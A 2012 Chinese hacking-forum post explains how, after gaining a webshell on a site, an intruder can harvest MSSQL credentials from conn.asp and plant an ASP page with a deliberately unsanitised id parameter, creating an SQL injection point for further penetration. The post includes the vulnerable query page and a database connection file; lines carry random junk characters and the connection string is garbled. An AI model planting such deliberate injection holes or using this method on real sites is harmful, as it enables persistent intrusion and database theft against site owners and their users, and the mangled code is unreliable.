找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2216|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
8 p0 t( i/ A0 S2 `9 S- }6 \- W9 ?  f& U) f# ~: o% l
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息) v! {- r2 H) j: V* _) K
  U) r0 j$ p' ^; ]2 f
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!* {2 P8 y$ i6 L1 Z5 o
8 N8 l0 h1 u8 N* @  F2 {
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和( c- u7 n& {8 ^1 E# P- l
* Y% @: N  R4 u: x3 P9 D% Y7 ?( M
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表0 ]# P& W( i% v6 ~) i; d+ W, M
- Z5 e1 m( t6 N1 Z5 Y9 ~" g
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:  C! S; x: e: A; }: H

0 C: k2 |$ `. o1 h( }. d! w1 G程序代码% N6 ]" ?" z6 d  |
<!--#include file="xx.asp"-->
) ~+ U1 |2 c& y9 O, a<%2 \7 M. y" H- B& ~
set rs=server.createobject("ADODB.recordset")' H- L9 E# O" c7 s& u+ Y' o
id = request("id")
7 B3 W  j) f) }% _4 I, o: lstrSQL = "select * from admin where id=" & id
5 ?# T! w% k- N; q4 Mrs.open strSQL,conn,1,3$ ^9 }9 |( N3 Y- _, n  V
rs.close8 B& Q% P3 l  i7 Q; L* ^" z
%>, W% W) s$ f* w* g. G7 ~

& E. m! ^, L" v" k7 \( t$ U把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在/ W$ A' D6 P7 k( x$ e+ S3 [1 M  W

. A8 i" c4 w; w你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
: x+ N, p. k/ }* F( i6 k% x3 t. F: o. R0 a
然后就要构造一个连接数据库的文件了,代码如下:
& B% F( p  T  b% d  {, }程序代码& A' q& I! t, L7 P. f
<%        
, J2 o; P9 {! y, KstrSQLServerName = "000.000.000.000"     '服务器名称或地址
( G7 S2 }) [; M1 F' s6 GstrSQLDBUserName = "sqlname"         '数据库帐号$ X% C( ?/ ~/ @2 Q' M
strSQLDBPassword = "sqlpass"         '数据库密码
6 m1 O0 M) ~5 `* r4 rstrSQLDBName = "sqldataname"           '数据库名称
) i' M4 P6 c4 c; h; t3 @% a3 g9 lSet conn = Server.CreateObject("ADODB.Connection")
/ G2 O) P' {! Q# H% l/ z1 T% PstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"6 o5 g" X9 X) K$ C( W& q
conn.open strCon
0 w; E0 U; Q' `4 c. }* g9 }%>
( Z4 c  z! g* v$ c7 A
: z. S& c' H: X% C! f这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
6 G$ i  l! N- `* y3 Y" v4 \. U. x
0 l8 k4 F% }; P% W2 B4 I" E8 G就这样,正常情况下,就OK了,伪造成功……' P+ u0 c+ K- a# ^0 z& c2 f

5 w1 t5 c' M; I           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表